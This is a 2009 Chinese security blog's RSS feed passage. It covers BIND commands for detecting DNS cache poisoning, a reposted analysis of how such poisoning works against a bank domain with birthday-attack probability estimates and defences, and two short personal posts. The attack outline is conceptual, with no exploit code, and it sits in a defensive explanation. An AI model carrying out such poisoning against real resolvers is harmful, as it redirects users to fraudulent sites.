若发现大量‘查询内容相同，且源端口连贯（“#”号后为源端口）’的记录，则可能是DNS缓存中毒的先兆。但此时<br>
不宜太早下定论，再看看下一种检查方法吧:)</p>
<p>2）通过查看CACHE的记录辨认异常<br>
BIND本身不提供直接查看CACHE的功能，但我们可以通过rndc命令把CACHE给DUMP下来。当怀疑BIND服务端存在DNS缓存<br>

中毒时，可以通过以下方式进行检查：<br>
-bash-3.00# rndc dumpdb<br>
-bash-3.00# cat /var/named/named_dump.db<br>
在named_dump.db这个文本文件里包含目前BIND所‘知道’的DNS记录，不过我们主要关注的是客户端查询的记录，如：<br>
=========================================================================<br>

; authanswer<br>
demonalex.3322.org.&nbsp;&nbsp;&nbsp;&nbsp;
54&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 219.137.123.41<br>
=========================================================================<br>

我们可以通过nslookup等命令切换到其它DNS服务器中，对以上相关记录进行查询，确认该BIND是否已被缓存中毒攻击<br>
了。</p>
<p>*DNS客户端检测方法：<br>
客户端检测方法具体需要视操作系统类型而定。若是WINDOWS系统，可以把网卡中的DNS服务器设置为‘怀疑被缓存中<br>
毒攻击’的DNS服务器，然后通过ipconfig检查当前主机的DNS缓存：<br>
ipconfig /displaydns<br>
，或是通过nslookup等命令进行实时检查；若是UNIX/LINUX系统，在默认没有安装nscd服务的情况下是不会具备DNS缓<br>

存功能的，因此只能通过nslookup等命令进行实时检查了。</p>
<p>*参考资料：<br>
candon123所写的《rhel5中配置DNS服务器的日志》，原URL：<br>
<a href=
"http://candon123.blog.51cto.com/704299/141616">http://candon123.blog.51cto.com/704299/141616</a><br>

邹福泰所写的《DNS的缓存中毒(cache poison)问题分析及建议》，原URL：<br>
<a href=
"http://hi.baidu.com/zoufutai/blog/item/1b380ffb56ee9f156d22eb0b.html">
http://hi.baidu.com/zoufutai/blog/item/1b380ffb56ee9f156d22eb0b.html</a><br>

yfhe所写的《BIND9详解之日志篇》，原URL：<br>
<a href=
"http://www.chinaunix.net/jh/16/212998.html">http://www.chinaunix.net/jh/16/212998.html</a></p>

]]></description><guid>http://www.i170.com/Article/118273</guid><trackback:ping>http://www.i170.com/Article/118273/trackback</trackback:ping><comments>http://www.i170.com/Article/118273#comment</comments><wfw:commentRss>http://www.i170.com/Article/118273/commentRss</wfw:commentRss></item> <item><link>http://www.i170.com/Article/118272</link><title><![CDATA[[转载]DNS的缓存中毒(cache poison)问题分析及建议]]></title><author>demonalex</author><category>安全技术</category><pubDate>Thu, 06 Aug 2009 01:13:24  +0800</pubDate><description><![CDATA[<p>好文章,转载自&lt;邹福泰的博客&gt;,原URL:</p>
<p><a href=
"http://hi.baidu.com/zoufutai/blog/item/1b380ffb56ee9f156d22eb0b.html">
http://hi.baidu.com/zoufutai/blog/item/1b380ffb56ee9f156d22eb0b.html</a></p>
<p>&nbsp;</p>
<p>如果<a href="http://www.icbc.com.cn/"><u><font color=
"#0000FF">www.icbc.com.cn</font></u></a>受到DNS　SERVER的缓存中毒(cache
poison)，则使用此DNS　SERVER的用户访问中国工商银行网站时，可能到达的是一个类似工商银行网站的界面，从而使用户蒙受损失。要实现缓存中毒，要从DNS解析处理的机制分析。DNS是树型层次结构，递归式解析以求解。当<a href="http://www.icbc.com.cn/"><u><font color="#0000FF">www.icbc.com.cn</font></u></a>到达DNS　SERVER时，它将请求提交给上层并最终由域名归属的权威服务器给出回答。如果DNS　SERVER递归请求解答时，尽管递归可能发生多次的请求应答，其实质就是DNS　SERVER请求域名，域名的权威服务器最终给出回答，这正是一对请求应答的UDP包。如果攻击能够伪造它是一个权威服务器应答，并且在真正的权威服务器应答返回前到达了，那么在DNS　SERVER就缓存了攻击者的回答，这个回答就是类似工商银行网站所在的IP。</p>
<p>
UDP包通过5元组（srcip,srcport,dstip,dstport,protocol)来标识唯一性连接。DNS　SERVER能够接收攻击者的应答包，必须要求它有以下几点：1、来自权威服务器所在IP以及服务对应port　2、返回的对象是自己的IP和发包时的port　3、protocol是udp　其中1没有问题，自己向权威服务器发包解析下就知，2中发包时的port可能有点问题，需要讨论，3显然没问题。那么只要解决发包时的port伪造就可以了。UDP　port有16位，会有65536种可能，这使得攻击有些难度。幸运地是，不少DNS对来自同一客户端的各种域名请求，在做递归解析时，都会重用源端口。这点区别于TCP，TCP经常性变化端口，但UDP通常会重用端口，因为TCP变化端口有利保持与同一服务器的多个连接，而UDP这种这种需求比较少。这样，一种攻击方案设计可以考虑让攻击者先测试任意一个域名看返回的源port是什么，<font color="#FF0000">这个源port也将是攻击者请求攻击域名时，在DNS　SERVER所向权威服务器发起的源port。（<strong>注意</strong>：若采用随机化DNS　SERVER的源端口，将导致此攻击方法失效，如最新的ISC发布的patch以及一些版本的dns
server,可用 dig porttest.dns-oarc.net TXT
@dns_server_ip来判断源端口是否随机化。）</font></p>
<p>方案似乎非常简单了，</p>
<p>因此，攻击方案将是：</p>
<p>1、攻击者向DNS　SERVER请求域名<a href=
"http://www.icbc.com.cn/"><u><font color=
"#0000FF">www.icbc.com.cn</font></u></a>解析</p>
<p>2、攻击者伪造<a href="http://www.icbc.com.cn/"><u><font color=
"#0000FF">www.icbc.com.cn</font></u></a>所在的权威服务器（202.106.83.125）的应答</p>
<p>
只要等待DNS　SERVER缓存清空并做递归解析请求权威记录时，就很快成功了。问题在于，为了防止此种脆弱性的漏洞，DNS请求解析协议加入了Transaction
ID，以防止攻击。这种Transaction
ID为16位0xFFFF，有65536种可能性，这极大加大了难度。<font color="#FF0000">因为攻击时间点必须在递归请求时间和权威返回记录这段短时间内才能够成功,并且不能够响应超时</font>。尽管困难，但这并不是不可能。很简单的，攻击者可以通过向权威发送大量请求包的方式将阻塞权威返回应答，将时间留给了攻击者！</p>
<p>
只要如攻击方案中发送大量的解析包和大量的伪造应答包，是很可能成功的，这只是一个概率问题。这个概率为多大，取决于一个良好的Transaction
ID设计算法。但由于"Birthday Paradox"存在，采用“生日攻击”使得并不很大的发包数也很可能攻击成功。</p>
<p>注：The Birthday Paradox<br>
生日悖论：如果一个房间里有23个人或23个人以上，那么至少两个人生日相同的概率要大于50%。考虑一年只有365天，每个人的生日都均匀分布在这365天中，则N个人生日各不相同的概率为P(N)=P(N-1)*(365-n+1)/365；有初始条件P(1)=1。则，至少两人生日相同概率为1-P(N)，经计算，1-P(23)=0.50729。<br>

之所以称之为悖论，不是指逻辑上，而是这个数学事实与我们一般认识相抵触的意义上——一般人都会认为23个人中两个人生日相同的概率要远远小于50%。其实，23个人中可以产生23*22/2=253种<font color="#FF0000">组合</font>，每种组合都有成功相等的可能性，这么开来253种组合中有一种相同的概率大于50%也不是那么不可理解的事情。但换一个角度，如果你进入一个22个人的房间，房间中<font color="#FF0000">与你</font>生日相同的人的概率就会是非常低，这时组合数只有22而已！</p>
<p>对于ID总可能值数为t，对于n请求回应伪造的n个应答，发生Transaction
ID相同的可能性概率为P=1-(1-1/t)^[n*(n-1)/2]。对于16位ID时t为65536，只需要n=700可达到100%成功率，n=300可达到50%成功率。而如果只是针对单个包特定Transaction
ID只有n/65536的成功概率。</p>
<p>附：建议</p>
<p>
　　如果是权威服务器，关闭递归。由于<span>只回应自己授权域的查询，而不会缓存任何外部的数据，因此攻击无效。所以，以下都是针对</span><span>通用递归解析服务器进行考虑。</span></p>
<p><span>　　1、及时升级到最新版本及打补丁。这是必须做的事情。</span></p>
<p><span>　　2、控制递归解析允许的IP及split
DNS保护，并可通过forward方式使得解析不直接请求根（forward to protect-ip server and this
protect-ip server only accepts the request from limited
ip.)从而快速响应正确域名。<font color="#FF0000">破解时间race。</font></span></p>
<p><span>　　3、布署IDS，检测53端口及IP真实性及单IP请求流量限制。<font color=
"#FF0000">破解攻击包源</font>。</span></p>
<p><span>　　4、采用强的随机数生成和不重用源端口的较安全DNS服务器版本。<font color=
"#FF0000">本质上使攻击不可行</font></span></p>
<p><span>　　5、采用DNSSEC（RFC 3008：Domain Name System Security (DNSSEC)
Signing Authority），采用公　钥体系认证请求源及完整性校验。受限于当前的通用环境。</span></p>
<p>
<span>　　6、主动监测缓存条目，实时删除非法缓存条目。这也是一种方法，有些滞后，但能够减小影响。因为攻击成功后缓存的TTL有时为一天时间。</span></p>
<p>
<span>＊＊＊设置小的TTL，减小缓存中毒效应。（这其实是错误的，因为小的TTL会使得攻击机会增多。一次攻击成功率与机会窗口时间，即授权服务器解析响应返回时间相关，而与TTL时间无关。）具体可见下面分析：</span></p>
<p><span><font color=
"#FF0000">为何采用强的随机数生成和不重用源端口可以本质上使攻击不可行的分析：</font></span></p>
<p><span>　 I: Number distinct IDs available (maximum 65536)
ID空间<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; P: Number of ports used (maximum
around 64000 as ports under 1024　使用的端口数目<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; are not always available, but often
1)<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; N: Number of authoritative
nameservers for a domain (averages　授权服务器数目<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; around 2.5)<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; F: Number of 'fake' packets sent by
the attacker　伪造包数目<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; R: Number of packets sent per second
by the attacker　每秒发包数目<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; W: Window of opportunity, in
seconds. Bounded by the response　 time of the authoritative servers
(often 0.1s)机会窗口时间（要在授权服务器回应时间前的响应才能够导致攻击成功，称这段时间为机会窗口时间）<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; D: Average number of identical
outstanding queries of a resolver　解析器同一查询的并发数<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (typically 1)<br>
　　A: Number of attempts, one for each window of
opportunity　攻击尝试次数，每一机会窗口时间一次</span></p>
<p>
<span>攻击成功的概率是机会窗口时间内伪造包数目（D＊F）除以问题空间大小（N*P*I)，即p=(D*F)/(N*P*I)，则尝试A次成功概率PS＝1-(1-p)^A，注意A=T/TTL，其中T为攻击尝试时间，TTL为域名缓存时间，每次TTL过期才导致新的攻击可能，因为这时需要做新的递归请求。</span></p>
<p>
<span>当不随机化端口时，P=1，注意到F=R*W，此时PS=1-(1-D*F/N*P*I)^A=1-(1-D*R*W/N*P*I)^A=1-(1-R/1638400)^(T/TTL)。</span></p>
<p>
<span>通常一个现实的DNS响应包最小大小为80bytes，设R＝7000,即4.5Mb/s攻击速率下，设TTL＝3600(大多数DNS服务器的默认值），那么24小时成功率为10%，一周后可达50%。这是脆弱的。特别是当TTL＝60秒时，3小时就可达50%，9小时高达90%攻击成功率。</span></p>
<p>
<span>若采用随机化端口，P=64000，此时PS＝1-(1-R/104857600000)^(T/TTL)。<font color="#FF0000">对于TTL＝3600的域名，需要285Gb/s才能够在24小时成功率为10%，一周后达50%</font>。对于TTL＝60的域名，也需要4Gb/s，才能够在一周后达到50%。</span></p>
<p><span><font color=
"#FF0000"><strong>也就是说，当TTL＝3600或者更大值时，攻击是不可能的</strong></font>，因为在一段长时间内的现实下，285G/s还是高不可及的攻击速率。当然，对于TTL＝60或者更短的情况下，攻击是有可能的，如把TTL=10s时，并且采用R=1677721.6，攻击速率为1Gb/s，一周成功率=1-(1-1677721.6/104857600000)^60480=62%。</span></p>
<p><span>因此，只要DNS　SERVER采用默认配置，攻击将完全不可行。<font color=
"#FF0000">要特别值得提醒的是，域名缓存TTL时间不能太短，否则攻击仍然有可能发生。不过，仍然可通过网络监管策略，我们可以发现网络的异常高流量，从而采取措施。</font></span></p>

]]></description><guid>http://www.i170.com/Article/118272</guid><trackback:ping>http://www.i170.com/Article/118272/trackback</trackback:ping><comments>http://www.i170.com/Article/118272#comment</comments><wfw:commentRss>http://www.i170.com/Article/118272/commentRss</wfw:commentRss></item> <item><link>http://www.i170.com/Article/118208</link><title><![CDATA[厦门之旅]]></title><author>demonalex</author><category>胡言乱语,写真图鉴</category><pubDate>Mon, 03 Aug 2009 00:22:23  +0800</pubDate><description><![CDATA[<p>回头想想，已经是第二次到厦门了，这次住的是厦门老牌酒店－－鹭江宾馆，在房间拍了些照片，</p>
<p>看看鼓浪屿的景色：</p>
<p><img height="240" width="320" alt="" src=
"http://www.i170.com/Attach/F04B6DEB-1631-4FDA-B877-65BB0B07DBDB"></p>
<p>再往东：</p>
<p><img height="240" width="320" alt="" src=
"http://www.i170.com/Attach/48C771F4-51E7-4412-B394-4972F16E80A8"></p>
<p>最后还是要大伙猜猜一种食物：</p>
<p><img height="240" width="320" alt="" src=
"http://www.i170.com/Attach/CEDEFCD8-BC65-406C-9BA6-65E97A3233FD"></p>
<p>最后再给点提示吧：）</p>
<p><img height="240" width="320" alt="" src=
"http://www.i170.com/Attach/7FFE7AC8-3F95-458C-BDC1-1A7347C0559A"></p>

]]></description><guid>http://www.i170.com/Article/118208</guid><trackback:ping>http://www.i170.com/Article/118208/trackback</trackback:ping><comments>http://www.i170.com/Article/118208#comment</comments><wfw:commentRss>http://www.i170.com/Article/118208/commentRss</wfw:commentRss></item> <item><link>http://www.i170.com/Article/118207</link><title><![CDATA[WAPI?!]]></title><author>demonalex</author><category>胡言乱语,写真图鉴</category><pubDate>Mon, 03 Aug 2009 00:15:54  +0800</pubDate><description><![CDATA[<p>
以前记得有朋友问过我关于WAPI安全的问题,还问是否有兴趣搞搞相关的课题,偶当时的意思是"未见其物,怎敢下定义呢?",,,</p>
<p>前段时间有幸在客户那里看见了,,,</p>
<p><img height="240" width="320" alt="" src=
"http://www.i170.com/Attach/BFEF7C6D-3294-4CB6-AAC5-D0584B4939CC"></p>
<p>厂家是"国人通讯",,,</p>
<p><img height="240" width="320" alt="" src=
"http://www.i170.com/Attach/18AA0F41-B749-4E41-A551-BB82330A245E"></p>
<p>最后不少得的是当天吃的饭菜,很普通,,,,:)</p>
<p><img height="240" width="320" alt="" src=
"http://www.i170.com/Attach/8941566C-9BFA-47A3-A502-745D0EF5E191"></p>

]]></description><guid>http://www.i170.com/Article/118207</guid><trackback:ping>http://www.i170.com/Article/118207/trackback</trackback:ping><comments>http://www.i170.com/Article/118207#comment</comments><wfw:commentRss>http://www.i170.com/Article/118207/commentRss</wfw:commentRss></item> </channel></rss>
